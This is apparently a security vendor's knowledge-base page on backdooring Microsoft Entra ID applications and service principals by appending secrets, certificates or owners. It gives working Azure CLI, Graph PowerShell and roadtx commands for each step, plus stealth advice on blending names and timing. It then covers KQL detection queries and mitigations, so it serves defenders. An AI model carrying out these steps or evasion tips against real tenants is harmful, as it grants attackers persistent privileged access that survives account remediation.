1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Entra ID Application and Service Principal Credential Abuse

Also known as: Service principal secret backdoor, App registration credential abuse, AZAddSecret, Application owner abuse

An application owner or application administrator adds a secret or certificate to an existing app or service principal and signs in as it, with its roles and API permissions and no MFA.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
Owner of the application or service principal, Application Administrator, Cloud Application Administrator, or an app holding Application.ReadWrite.All.
What the attacker gains
A working credential for the application: tokens with every directory role, Graph application permission and Azure role the service principal holds.
Threat groups
Storm-0501APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1098.001, T1078.004, T1550.001.

How it works

An app registration describes an application in its home tenant. A service principal represents that application in one tenant, and it is the object that holds directory roles, Microsoft Graph application permissions and Azure role assignments. The glossary page on app registration versus enterprise application covers the split.

Both objects can hold credentials. passwordCredentials are client secrets and keyCredentials are certificates. Whoever presents a valid secret, or signs a client assertion with the private key of a registered certificate, gets tokens as the application through the OAuth client credentials flow. There is no user in that flow, so there is no MFA prompt and no user Conditional Access.

The attack is simple: add one more credential to an application that already has privileges, and keep the secret. Nothing existing breaks, because the workload's own credential still works. Three variants matter:

  • Credential on the app registration. The new secret or certificate is stored on the application object and is visible under Certificates and secrets in the portal.
  • Credential directly on the service principal. The Graph API also accepts credentials on the service principal itself. The portal has no Certificates and secrets tab for enterprise applications, so this credential is far less visible. It also works for multitenant applications whose registration lives in another tenant, including Microsoft first-party service principals.
  • Ownership as the right that allows it. An owner of an application or service principal can manage that object, including its credentials, without holding any administrative role. Microsoft documents that owners have the same permissions as application administrators, scoped to the objects they own. Adding an account as owner is therefore a complete escalation step by itself, and it is quieter than a role assignment.

The roles that can do this tenant-wide are Application Administrator and Cloud Application Administrator. Application Developer covers only the applications the holder owns. An application holding the Graph permission Application.ReadWrite.All can add credentials to any application, including itself, and Application.ReadWrite.OwnedBy covers the applications it owns.

The same idea without a secret is covered in federated identity credential abuse.

Prerequisites

  • An identity with one of: ownership of the target application or service principal, Application Administrator, Cloud Application Administrator, or a workload with Application.ReadWrite.All.
  • A target worth the effort: a service principal that holds a privileged directory role, a Graph application permission such as RoleManagement.ReadWrite.Directory or AppRoleAssignment.ReadWrite.All, or an Azure role on a subscription. See Graph application permission escalation.
  • No app management policy that blocks new secrets, and no app instance property lock that protects the service principal's credentials.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find applications you can write to

List the owners and current credentials of candidate applications. Credential values are never returned, only metadata:

Connect-MgGraph -Scopes 'Application.Read.All'

# App registrations with their owners and the number of credentials
Get-MgApplication -All -Property Id, AppId, DisplayName, PasswordCredentials, KeyCredentials |
    ForEach-Object {
        [pscustomobject]@{
            App     = $_.DisplayName
            AppId   = $_.AppId
            Secrets = $_.PasswordCredentials.Count
            Certs   = $_.KeyCredentials.Count
            Owners  = (Get-MgApplicationOwner -ApplicationId $_.Id -All).Id -join ','
        }
    }
az ad app owner list --id 00000000-0000-0000-0000-000000000000
az ad app credential list --id 00000000-0000-0000-0000-000000000000
az ad sp credential list --id 00000000-0000-0000-0000-000000000000

AzureHound collects the same data for BloodHound, which draws the result as AZAddSecret, AZOwns, AZAppAdmin and AZCloudAppAdmin edges from a principal to the applications it can take over.

2. Add a secret to the app registration

az ad app credential reset clears every existing credential unless --append is given. An attacker always appends, so the workload keeps running:

az ad app credential reset --id 00000000-0000-0000-0000-000000000000 \
    --append --display-name "rotation-2026" --years 2

The same with Microsoft Graph PowerShell. The secret text is returned once:

Connect-MgGraph -Scopes 'Application.ReadWrite.All'

$cred = @{ displayName = 'rotation-2026'; endDateTime = (Get-Date).AddYears(2) }
$secret = Add-MgApplicationPassword -ApplicationId '00000000-0000-0000-0000-000000000000' -PasswordCredential $cred
$secret.SecretText

3. Or add a certificate

A certificate credential stores only the public certificate in the directory. The private key never leaves the attacker's machine:

# Let the CLI create a self-signed certificate and append it
az ad app credential reset --id 00000000-0000-0000-0000-000000000000 --create-cert --append

# Or append an existing public certificate
az ad app credential reset --id 00000000-0000-0000-0000-000000000000 --cert "@~/cert.pem" --append

4. Or add the credential to the service principal

This writes to the enterprise application object in the tenant, not to the registration:

az ad sp credential reset --id 00000000-0000-0000-0000-000000000000 --append
$params = @{ passwordCredential = @{ displayName = 'sync' } }
Add-MgServicePrincipalPassword -ServicePrincipalId '00000000-0000-0000-0000-000000000000' -BodyParameter $params

BARK wraps both calls as New-AppRegSecret and New-ServicePrincipalSecret.

5. Sign in as the application

# With the secret
az login --service-principal --username 00000000-0000-0000-0000-000000000000 \
    --password CLIENT_SECRET --tenant corp.example.com

# With the certificate (PEM file holding the private key and the certificate)
az login --service-principal --username 00000000-0000-0000-0000-000000000000 \
    --certificate /path/to/cert.pem --tenant corp.example.com

roadtx requests a token for a chosen resource and stores it for the other ROADtools commands:

roadtx appauth -c 00000000-0000-0000-0000-000000000000 -p CLIENT_SECRET \
    -t corp.example.com -s https://graph.microsoft.com/.default

Ownership variant

With a role that can manage applications, or as an existing owner, add a controlled account as owner first and do steps 2 to 5 later from that account:

az ad app owner add --id 00000000-0000-0000-0000-000000000000 \
    --owner-object-id 00000000-0000-0000-0000-000000000000

Impact

The attacker holds a credential that is independent of every user account. Resetting the password of the compromised administrator, revoking sessions or removing the administrator's role does not remove it. The credential stays valid until its end date or until someone deletes it, and a two-year lifetime is common.

What the attacker can do equals what the service principal can do. An application with RoleManagement.ReadWrite.Directory can assign Global Administrator. One with mail or file permissions reads every mailbox or site in scope. One with an Azure Owner assignment controls the subscription. Because access comes from the application's identity, the activity is logged under the application's name, where it blends with the workload's normal calls.

OPSEC and artifacts

  • Append, never reset. Appending keeps the legitimate credential working, so no outage draws attention. The audit log still records the change: Update application with the detail Certificates and secrets management for the registration, or Add service principal credentials for the service principal, with the actor in InitiatedBy and the new keyId in the modified properties.
  • Prefer the service principal. A credential on the service principal does not show on the registration's Certificates and secrets page. It still appears in passwordCredentials or keyCredentials of the service principal in Graph, and in the audit log.
  • Use a certificate. No secret value exists anywhere to leak or scan for. The public certificate, its keyId, start date and end date remain on the object.
  • Blend the name and lifetime. Display names such as a rotation ticket number and a lifetime that matches the tenant's habits survive a casual review. A before and after comparison of the credential keyId values still shows the addition, whatever the name.
  • Add and remove quickly. A credential that is removed between two inventory snapshots is invisible to both. The audit log keeps the add and the remove.
  • Sign-in trail. Every token request writes a row to the service principal sign-in log with the source IP address and, when populated, ServicePrincipalCredentialKeyId. Use from an address the workload has never used is the strongest signal.
  • Ownership first. An owner addition writes Add owner to application or Add owner to service principal, which many tenants do not alert on.

Detection

Three record types have to be read together: the configuration change, the sign-in and the resource action.

  • Credential added. The credential added rules match Update application events whose activity name contains Certificates and secrets management, and Add service principal credentials. A plain Update application also covers renames and redirect URI changes, so match on the detail text.
  • Owner added. The owner added rule covers both owner activities. Treat a new owner on an application with privileged permissions like a role assignment.
  • Sign-in with the new key. Join the keyId from the audit event to ServicePrincipalCredentialKeyId in the sign-in log.
  • Risk detections. Microsoft Entra ID Protection flags leaked and anomalous workload credentials; see leaked service principal credentials.
// Credential and owner changes on applications and service principals
AuditLogs
| where OperationName in~ ("Add service principal credentials",
                           "Add owner to application", "Add owner to service principal")
    or OperationName has "Certificates and secrets management"
| mv-expand Target = TargetResources
| project TimeGenerated, OperationName, Result, InitiatedBy,
          TargetId = tostring(Target.id), TargetName = tostring(Target.displayName),
          Changes = Target.modifiedProperties
| order by TimeGenerated desc
// Which key signed in, from where, for which resource
AADServicePrincipalSignInLogs
| where TimeGenerated >= ago(7d)
| summarize Attempts = count(), Addresses = make_set(IPAddress), Outcomes = make_set(ResultType)
    by AppId, ServicePrincipalName, ServicePrincipalCredentialKeyId, ResourceDisplayName

A credential that was registered and never used does not appear in the second query, and an empty key identifier can mean a different credential type. Native audit and sign-in retention is 7 days on Microsoft Entra ID Free and 30 days on P1 or P2, so export both logs to a workspace if you want to answer questions about older credentials.

Mitigation

  • Block new secrets with an app management policy. The tenant default policy can block password addition, custom passwords and symmetric keys, cap secret and certificate lifetime, and require certificates from a trusted certificate authority. It applies to new credentials only, so existing secrets need their own inventory and retirement.
  • Turn on app instance property lock for multitenant applications you publish. It blocks adding or changing credentials on the service principal instances of the application.
  • Treat ownership as privilege. Review owners of every application whose service principal holds a directory role or a high-impact Graph permission, remove owners that are ordinary user accounts, and give non-human identities a named, accountable owner.
  • Keep Application Administrator and Cloud Application Administrator small and eligible through PIM instead of permanently assigned.
  • Remove standing privilege from applications. Fewer applications with tenant-wide Graph permissions means fewer targets.
  • Prefer managed identities or workload identity federation over secrets, and remove long-lived secrets that remain.
  • Inventory credentials on both object types. Compare keyId sets of passwordCredentials and keyCredentials on applications and on service principals against approved rotations, and alert on any credential on a Microsoft first-party service principal.
  • When responding, remove the credential, then check the service principal's other credentials, owners and grants. Tokens issued before the removal stay valid until they expire.

Detection rules for this attack

Log events to collect

FAQ

Can an application owner really escalate privileges without an admin role?

Yes. Ownership is an object-level right, not a directory role. An owner can change the object's properties, including its secrets and certificates. If the application's service principal holds a directory role or a powerful Microsoft Graph application permission, the owner can add a credential, sign in as the application and use rights the owner never had as a user. Microsoft's own ownership documentation calls this an elevation of privilege.

Does MFA or Conditional Access stop a sign-in with an added secret?

User MFA does not apply. A service principal signs in with the client credentials flow, where the secret or certificate is the only factor. Conditional Access policies for users do not cover it either. Workload identity Conditional Access is a separate feature with its own license and a smaller set of controls, such as location and service principal risk.

What is the difference between a credential on the application and one on the service principal?

A credential on the app registration lives in the application's home tenant and works wherever the application has a service principal. A credential added directly to a service principal lives only on that enterprise application object in that tenant. It does not appear on the registration's Certificates and secrets page, so a review that only looks at app registrations misses it.

How do you detect a rogue application credential?

Watch the audit log for the activity Update application with the detail Certificates and secrets management, and for Add service principal credentials. Then check AADServicePrincipalSignInLogs: the column ServicePrincipalCredentialKeyId shows which key signed in, so a sign-in with the new keyId from an address the workload never used is the confirmation.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.